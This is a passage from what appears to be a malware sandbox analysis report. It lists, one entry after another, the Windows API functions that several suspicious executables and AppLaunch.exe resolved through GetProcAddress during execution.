"GetProcAddress" with a parameter FlsFree (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ImmIsIME (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter DrawScrollBar (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SizeBoxHwnd (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ScrollBar_MouseMove (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ScrollBar_Menu (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter HandleScrollCmd (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter DetachScrollBars (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter AttachScrollBars (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CCSetScrollInfo (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CCGetScrollInfo (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CCEnableScrollBar (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter QuerySystemGestureStatus (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PSCreateAdapterFromPropertyStore (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PropVariantToBSTR (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter IUnknown_Set (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PSPropertyBag_WriteDWORD (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter FindWindowExW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter IsValidURL (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SendMessageTimeoutW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter AllowSetForegroundWindow (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003332) "11GY8714.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000452) "11GY8714.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000452) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter Dhcpv6QueryLeaseInfo (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertInterfaceNameToLuidW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter Dhcpv6FreeLeaseInfo (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter NSPStartup (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsNameCompare_W (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiAlloc (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpIsEnabled (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpQueryLeaseInfo (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpFreeLeaseInfo (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAttemptAutodialAddr (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAttemptAutodialName (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSNoteSuccessfulHostentLookup (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiFree (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcInitFwImports (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcInitImports (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcVerifierCorruptionExpected (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcExtInitializeExtensionPoint (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00000340) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00000340) "12hz690.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002296) "12hz690.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002296) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003964) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003964) 